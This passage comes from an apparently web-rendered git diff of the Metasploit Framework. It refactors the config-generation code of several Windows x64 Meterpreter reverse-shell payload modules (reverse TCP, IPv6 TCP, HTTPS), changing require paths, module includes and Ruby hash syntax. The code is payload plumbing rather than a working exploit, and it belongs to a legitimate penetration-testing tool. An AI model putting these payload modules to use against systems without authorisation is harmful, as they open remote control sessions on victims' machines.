:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_http(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 1129142
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
@ -45,20 +45,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X64
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_http(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 1128098
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
@ -46,20 +46,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X64
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_ipv6_tcp(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_ipv6_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 1128098
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
@ -45,20 +45,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X64
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_tcp(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
Loading…
Reference in New Issue
Block a user